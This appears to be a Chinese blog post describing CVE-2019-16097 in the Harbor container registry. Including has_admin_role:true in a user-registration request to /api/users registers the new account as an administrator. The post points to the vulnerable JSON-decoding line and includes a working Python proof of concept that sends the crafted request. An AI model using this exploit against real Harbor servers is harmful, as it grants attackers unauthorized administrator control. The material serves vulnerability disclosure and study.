漏洞介绍

这个漏洞可以在注册发送post包时,加入has_admin_role:true就可以直接注册成为管理员,下图可以看看user的结构:
harbor越权漏洞(CVE-2019-16097)
有很多属性,此处我们关注的是”HasAdminRole”这个属性。这个字段用来区分管理员与普通用户,值是bool类型,控制这个字段我们就能利用这个漏洞了。
访问“/api/users”这个api,并且发送相应的post请求就能注册新用户。
harbor越权漏洞(CVE-2019-16097)
漏洞代码位于user.go的第317行:
if err := ua.DecodeJSONReq(&user); err != nil
这段代码将用户的post的数据转换为user结构,类似如下格式:
{“username”:”test”,”email”:”test123@gmai.com”,”realname”:”no name”,”password”:”Password1\u0021″,”comment”:null}
如果我们在json数据包中加入“has_admin_role” = True这个字段,就能顺利的注册为管理员。

poc

from urllib.parse import urljoin

import requests

data = {

"username": "test",

"email": "test@qq.com",

"realname": "test",

"password": "testAA123",

"has_admin_role": True

}

url = "https://vuln.com"

response = requests.post(

url=urljoin(url, 'api/users'),

json=data,

verify=False

)

print(response.status_code)

print(response.text)

if response.status_code == 201:

print("success")

else:

print("fail")

相关文章:

  • 2021-10-20
  • 2021-06-05
  • 2021-12-31
  • 2022-12-23
  • 2022-12-23
  • 2021-07-08
猜你喜欢
  • 2021-06-10
  • 2022-12-23
  • 2022-12-23
  • 2022-01-08
  • 2022-03-06
  • 2021-06-27
  • 2021-09-19
相关资源
相似解决方案